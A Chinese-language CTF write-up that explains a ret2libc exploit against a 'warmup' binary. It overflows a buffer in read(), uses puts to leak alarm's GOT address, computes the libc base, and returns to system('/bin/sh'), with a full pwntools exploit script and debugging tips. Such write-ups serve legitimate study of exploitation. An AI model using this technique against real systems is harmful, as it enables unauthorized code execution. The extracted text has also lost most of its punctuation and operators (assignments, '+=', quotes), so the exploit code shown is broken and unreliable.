CTF warmup题详解:利用alarm构建ROP链泄露libc地址 记得那年我第一次在CTF里遇到warmup这道题纯粹是奔着“热身”两个字去的觉得无非就是栈溢出加个shellcode的事。结果checksec一跑NX开着shellcode直接没戏再翻了半天PLT表发现连system都没有。卡了一下午之后才恍然原来出题人把alarm函数这颗暗子埋在了ROP链里用它来当泄露libc的跳板。这个思路想通之后整个利用链变得极其清爽。这篇文章就围绕这道题把漏洞定位、ROP链设计、完整exp和实战踩坑全部展开适合刚学会栈溢出、准备进阶ret2libc的选手。如果你能坚持看到最后你收获的将不仅仅是一道题的解法而是一套通用的libc泄露方法论。1. 拿到题的第一步确认程序到底在干什么1.1 先看保护checksec到底在看什么拿到一个二进制文件我习惯性先跑一遍checksec这是所有pwn题的标准动作。在Linux的64位环境下它会列出几个关键字段RELRO、Stack Canary、NX、PIE、RPATH、RUNPATH、Symbols、FORTIFY等等。每一个字段都在用“开/关”两个字直接压缩你后面的攻击面你必须在动手之前把它们全部读明白。我这边习惯把每个保护字段对应到攻击思路上保护字段开启时意味着什么对利用方式的影响Stack Canary栈上插了随机金丝雀值直接覆盖返回地址前必须先爆破或泄露CanaryNX栈段不可执行shellcode没法运行得考虑ROP或mprotectPIE程序自身地址随机化连PLT/GOT地址都要先泄露RELROPartial为部分只读Full为全只读Full RELRO下GOT不可改写Partial下可以改GOT劫持函数在warmup这道题里checksec结果通常是你最想要的那种组合Canary关闭、NX开启、PIE关闭、RELRO是Partial。出题人很仁慈他知道这道题的教学重点是“ROPlibc泄露”这条主线所以故意把栈保护去掉把程序基址固定让你能直接用IDA看到的静态地址写payload。顺便提一句很多新手只认NX和Canary忽略了PIE这一项。如果PIE没关你连elf.plt[puts]和elf.got[alarm]这种地址都没法直接写死在payload里还得先找泄露程序基址的漏洞那就是另一层复杂度了。所以每次拿到题我都建议先把checksec输出截图存下来后面调试排错时能省很多事。1.2 逆向主逻辑漏洞点藏在read里接下来就是逆向了。我用IDA打开这个ELF一般会看到类似这样的伪代码int __cdecl main(int argc, const char **argv, const char **envp) { alarm(0x78); vuln(); return 0; } ssize_t vuln() { char buf[64]; // 0x40 return read(0, buf, 0x100uLL); }vuln函数里定义了一个0x40大小的缓冲区却用read读入了0x100字节的数据栈溢出点就是这么简单粗暴。缓冲区0x40字节加上保存的RBP 8字节再到返回地址正好是0x48的偏移。也就是说你在buf之后填0x48个字节下一项就能覆盖返回地址。这里有个新手非常容易算错的细节buf明明是0x40为什么偏移不是0x40而是0x48因为64位程序在进入函数时会把调用者的RBP压栈保存而这个RBP正好位于buf和返回地址之间占了8字节。你在IDA的栈视图里能看到类似buf起始偏移是-0x40而return address在0x8两者之间的差值就是0x48。这个数字是后面一切payload的地基算错了后面全白搭。而在看程序的时候第二个要关注的点就是PLT表。你可以通过IDA左侧的Functions窗口或者用objdump -d直接查看动态符号表。warmup的PLT区域里一般会有puts和alarm这两个函数在后面一条ROP链里一个负责泄露、一个负责当泄露目标配合得天衣无缝。我当时看到alarm在PLT里时还觉得奇怪为什么一个热身题要专门调一个定时器函数等把利用链理清后才明白这正是这道题的核心设计。2. 为什么偏偏是alarmROP里泄露libc的常见套路2.1 PLT和GOT的运行机制要理解为什么alarm能当泄露跳板得先把动态链接的机制讲明白。在Linux的ELF程序里外部函数调用不是你想象中那样直接跳进某段libc代码而是先经过PLTProcedure Linkage Table过程链接表再由PLT中的代码跳到GOTGlobal Offset Table全局偏移表表项从那里取出真实函数地址。打个比方GOT是一本通讯录记录着每个外部朋友的实际住处PLT是按名字拨号的快捷键。第一次调用某个libc函数时GOT里对应的表项还是动态链接器的解析代码地址一旦真正调用过解析器就会把libc中的真实函数地址写进GOT。之后每调用一次CPU就通过PLT查到GOT里的真实地址并跳过去省去重复解析的开销。对于攻击者来说GOT表最大的价值在于它里面的值虽然随着ASLR随机变化但函数在libc文件内的偏移是固定的。假如我能拿到GOT表里某个函数比如alarm的真实地址再减去这个函数在libc里的固定偏移就能算出libc的加载基址。基址拿到手system、str_bin_sh、one_gadget这些统统可以算出来这就是ret2libc攻击的标准流程。2.2 泄露的目标为什么优先选alarm在ROP里要泄露一个libc函数地址得有一个前提这个函数已经在程序的GOT表里存了真实地址并且我们能构造ROP调用puts之类的函数把它打印出来。常见的可泄露目标有puts、printf、write、alarm、atoll、setvbuf等等。我把这几个常见候选放在一起对比过函数是否常见于plt/got参数个数利用难度适合当泄露跳板吗puts常见1rdi低只需pop rdi; ret非常适合printf常见可变参数中需要构造格式串一般write常见3rdi, rsi, rdx高需要找多个gadget麻烦alarm常见且常被程序主动调用1rdi低只需pop rdi; ret非常适合alarm的优势非常明显它只接受一个整数参数在x64下只需要一个pop rdi; ret就能把参数准备好同时由于源码开头就有alarm(0x78)这种调用程序启动后GOT表里的alarm地址已经被动态链接器填成真实地址我们不需要额外触发一次解析。反观write要同时准备fd、buf、size三个参数在gadget不够的环境里会卡得很痛苦。还有一点值得说明alarm在libc里是非常稳定的导出符号几乎每个主流的libc版本都有它偏移也相对容易通过libc数据库匹配。相比之下某些内部符号可能没有导出或者跨版本偏移变化很大用起来就不够稳。所以warmup选alarm当泄露目标不是随便挑的它几乎是最优解之一。2.3 泄露之后别忘了一个实用性细节清掉倒计时题目里调用alarm(0x78)其实还有一个隐藏影响0x78秒后SIGALRM信号会被发送给进程默认动作是直接杀死进程。本地调试时这个限制不太明显但在远程利用场景里如果你的exp脚本处理慢或者中间需要手动观察数据很可能正打到一半连接就断掉。这种情况下如果有机会在ROP链里先调用一次alarm(0)就可以把定时器清空。alarm的返回值是上次剩余的秒数如果传入0就表示取消所有已有的定时器。我在后续写远程pwn脚本时经常把这个技巧当成“保命操作”虽然warmup本身不一定需要但理解它对你写任何远程利用脚本都有帮助。3. 栈溢出触发点与利用链推导3.1 计算buf到返回地址的偏移我们前面确定了vuln的栈结构buf占0x40字节接着是保存的RBP占8字节再往上就是返回地址。所以payload的填充长度是0x48。我平时会先手算偏移再用pwntools的cyclic做交叉验证cyclic 200跑完看程序崩溃时RIP的值再cyclic -l反查偏移。手算的意义在于让你明白栈帧布局cyclic的意义在于防止眼瓢看错变量尺寸两个方法互补。不过如果你遇到的是一个开启Canary的题目cyclic就不能直接用了还得先想办法绕过金丝雀所以练习时别太依赖工具还是要理解原理。3.2 第一次ROP的拆解x64程序传参靠寄存器第一个参数要放到rdi里。因此pop rdi; ret是整个ROP链的核心gadget。我们需要用puts打印alarm的真实地址所以第一次ROP的结构是pop rdi; ret # 把 alarmgot 的地址弹进rdi putsplt # 调用puts打印alarm真实地址 main / vuln # 返回去再给一次输入机会这里要特别说明为什么泄露完要返回main而不是直接在后续ROP里继续执行shell因为我们在第一次payload发出之前还不知道libc基址也就没法直接算system地址。必须等puts的输出回来后解析出alarm的真实地址才能计算第二轮payload。所以“先泄露、后利用”的两段式结构是ret2libc里最标准的打法。GOT地址这一行要用elf.got[alarm]在脚本里动态获取千万不要手工硬编码。不同编译环境下符号在GOT里的排序可能不同一旦拿到别的版本二进制硬编码的地址就是错的。3.3 第二次ROP的拆解当puts把alarm地址打印出来之后核心计算只有一行libc_base alarm_addr - libc.symbols[alarm]然后就能算出system和/bin/sh的地址system_addr libc_base libc.symbols[system] binsh_addr libc_base next(libc.search(b/bin/sh))第二次ROP结构是pop rdi; ret # 把binsh_addr放进rdi ret # 栈对齐可选但经常必要 systemlibc # 调用system(/bin/sh)关于ret这一条看起来是多余的但x64的glibc函数内部可能会用到SSE指令SSE要求栈指针按16字节对齐。如果ROP执行到system时rsp没有对齐程序可能直接崩在一条movaps上。额外加一个ret就是让rsp再往前挪8字节把对齐调整好这是从“本地通了、远程崩了”这种血泪教训里总结出来的。4. 完整Exp从零到拿到flag4.1 环境准备复现这道题我建议在Linux环境下进行必备工具是Python 3和pwntools。安装指令很简单pip install --upgrade pwntools此外还需要一个与题目远程环境匹配的libc文件。如果题目压缩包自带libc.so.6那就直接libc ELF(./libc.so.6)如果没有就得通过泄露多个函数地址再配合libc数据库反查。warmup这种题一般会把libc附上所以主流程不涉及版本识别。4.2 Exp代码下面是我整理后的完整exp注释写得很细方便你对照理解from pwn import * context.log_level debug context.arch amd64 p process(./warmup) elf ELF(./warmup) libc ELF(./libc.so.6) # 这两个地址要通过反汇编确认示例值必须替换 pop_rdi 0x400683 main_addr 0x4005d8 puts_plt elf.plt[puts] alarm_got elf.got[alarm] offset 0x48 # 第一次ROPputs(alarm_got) 然后回main payload1 bA * offset payload1 p64(pop_rdi) payload1 p64(alarm_got) payload1 p64(puts_plt) payload1 p64(main_addr) p.sendline(payload1) # 接收puts输出alarm地址是8字节小端 # 注意x64高2字节通常是\x00puts输出会截断需要手动补齐 leak p.recvline().strip().ljust(8, b\x00) alarm_addr u64(leak) log.info(falarm address: {hex(alarm_addr)}) # 计算libc基址 libc_base alarm_addr - libc.symbols[alarm] log.info(flibc base: {hex(libc_base)}) system_addr libc_base libc.symbols[system] binsh_addr libc_base next(libc.search(b/bin/sh)) # 第二次ROPsystem(/bin/sh) payload2 bA * offset payload2 p64(pop_rdi) payload2 p64(binsh_addr) payload2 p64(system_addr) p.sendline(payload2) p.interactive()这段脚本看着很短但它已经经历了多次血泪调试。我特别建议你在第一次跑的时候把context.log_level debug留开观察每次发送和接收的原始字节。很多地址错误看debug日志一眼就能定位。4.3 关键参数说明与调试如果你跑起来发现脚本卡在接收那一步或者打印出来的alarm地址明显不对先检查三件事。第一pop_rdi和main_addr这两个地址是不是当前二进制里真实存在的。盲目套用网上的地址值是新手最常犯的错误必须自己用ROPgadget或objdump查一遍。第二接收逻辑面对的是“puts输出到第一个空字节停止”的问题。alarm地址的低6字节不是固定值其中可能包含换行符0x0a所以接收时不要简单地recvline最好指定长度或者用recvuntil(b\x0a)再手动去尾。脚本里ljust(8, b\x00)就是在把缺失的高位补零。第三如果第二段payload发过去后进程崩了优先怀疑栈对齐。把retgadget加回payload2里通常能解决一半的玄学崩溃问题。5. 实际踩坑记录这些问题我调了一晚上5.1 本地通了远程却崩了这是我复现时遇到的第一大坑。本地跑得顺顺当当一换成远程地址程序直接SIGSEGV。排查了很久最后发现是libc版本不匹配。我本地系统的libc和题目远程环境的libc根本不是同一份导致libc.symbols[alarm]和/bin/sh的偏移全部错位。地址都算错了不崩才怪。解决方式就是两个字匹配。只要可能一律使用题目附带的libc文件不要用系统自带libc去算偏移。如果没给libc那就要泄露至少两个函数地址去libc数据库里比对偏移。尤其alarm这种符号在不同版本里偏移差距可能很大只凭一个地址很难准确定位。5.2 远程连接莫名断开的元凶定时器第二种典型情况是远程脚本跑到一半连接突然EOF。如果题目启动时有alarm(60)这类定时器而你的exp在脚本里反复recv、sleep、人工看一眼数据60秒超时一到SIGALRM直接杀人。我在一次调试里就吃过这个亏单步跑没问题一打开debug日志脚本因为输出太多变慢然后连接就断了。后来我学乖了只要题目环境里有定时器能清就清不能清就把脚本逻辑压缩到最短时间窗口内完成远程利用时任何多余等待都可能致命。5.3 puts打印的地址怎么缺了几字节前面提到过puts遇到\x00就停止输出而x64地址高位通常全是0所以打印出来的往往只是低6位有效地址。如果你直接按8字节去解析解析出来的值会缺高位算出来的libc基址自然是错的。这个问题在本地可能不明显因为本地输出环境干净但远程网络环境里0x0a截断的概率更大。我现在的标准写法是data p.recvuntil(b\n)[:-1] addr u64(data.ljust(8, b\x00))这样无论地址低位有没有换行符都能安全还原出完整的8字节小端数值。5.4 找不到pop rdi的烦恼某些二进制的gadget不全ropgadget --binary ./warmup --only pop|ret抓半天也找不到一个pop rdi; ret。这种情况不要死磕有两个常用出路利用__libc_csu_init里的通用gadget通过一段固定顺序的pop-pop-ret来间接控制rdi、rsi、rdx。寻找pop rdi; pop rbp; ret这种多pop的gadget多pop几个垃圾值也能凑合使用。warmup这种题一般不会为难你编译器都会留下干净的pop rdi; ret但自己练手时最好把CSU gadget也学会因为它是很多难题的保命招。问题现象排查方向libc版本不对本地通、远程崩用题目自带libc或泄露多函数地址比对定时器超时远程脚本中途EOF缩短交互时间条件允许时alarm(0)输出接收截断解出的地址不对recvuntil后ljust补齐注意0x0a栈未对齐system调用崩溃加ret gadget对齐找不到gadgetROP链没法搭用csu_init通用gadget6. 把这道题吃透后还能怎么用6.1 alarm泄露libc的变体warmup里alarm是泄露目标但这个套路绝不局限于alarm。如果题目有setvbuf、signal、time、sleep、strlen这些函数只要它们的GOT表项已经被真实地址填充并且程序允许你调用puts打印GOT内容那它们都可以成为泄露目标。核心条件就两个它必须是被动态链接器解析过的GOT里是真实地址它必须在libc导出符号表里偏移可查。很多选手只盯着puts和write这些“天生适合输出”的函数反而忽略了那些不起眼的定时器、信号处理器。这个思维转变就是warmup教给我最重要的东西任何已解析的GOT表项都是通往libc的钥匙。6.2 一个模板通吃大量ret2libc题这套打法在大量入门到进阶的ret2libc题里都能用我把它抽象成四步找栈溢出点手算并验证填充长度用puts或printf泄露某个GOT函数地址减掉该函数在libc中的偏移得到libc基址算system、/bin/sh地址二次ROP拿shell。如果目标是完整shell而不是简单命令执行这套模板基本够用。如果题目更复杂比如限制execve调用那你还可以把第二步的泄露对象换成别的符号第三步增加计算one_gadget或SROP的路径。但无论如何“泄露换算基址”这两个动作永远是整个攻击链的地基。6.3 我的一些个人练习建议最后给想练好ROP的读者一个建议warmup这道题值得你亲手调通三遍。第一遍参考别人的exp跑通理解每个gadget和地址的来源。第二遍合上答案自己从checksec开始一步步走到拿shell。第三遍换一个不同版本的libc重新打一次逼迫自己重新查偏移、重新算基址。三遍走下来你会发现ret2libc不再是靠记忆payload拼凑而是真正理解了“当一个函数的真实地址出现在GOT表里时整个libc都对你敞开”。结尾这个warmup题老实说难度不大但它在我心里的位置一直很靠前。以前我总觉得alarm就是个限制时间的“闹钟”直到看明白它在ROP里的作用才意识到一个函数在栈溢出利用链里的价值可以远超它本身的功能。比赛中时间有限很多选手会习惯性地找puts、system却漏掉alarm这种安静躺在PLT表里的符号。所以我现在拿到一道堆栈题第一件事不是想“能用哪个函数getshell”而是先把ELF里所有PLT/GOT函数列一遍问自己两个问题谁可以被打印出来谁的偏移在libc里稳定可查然后才决定泄露路径。这个习惯就是warmup这道题留给我的最大收获。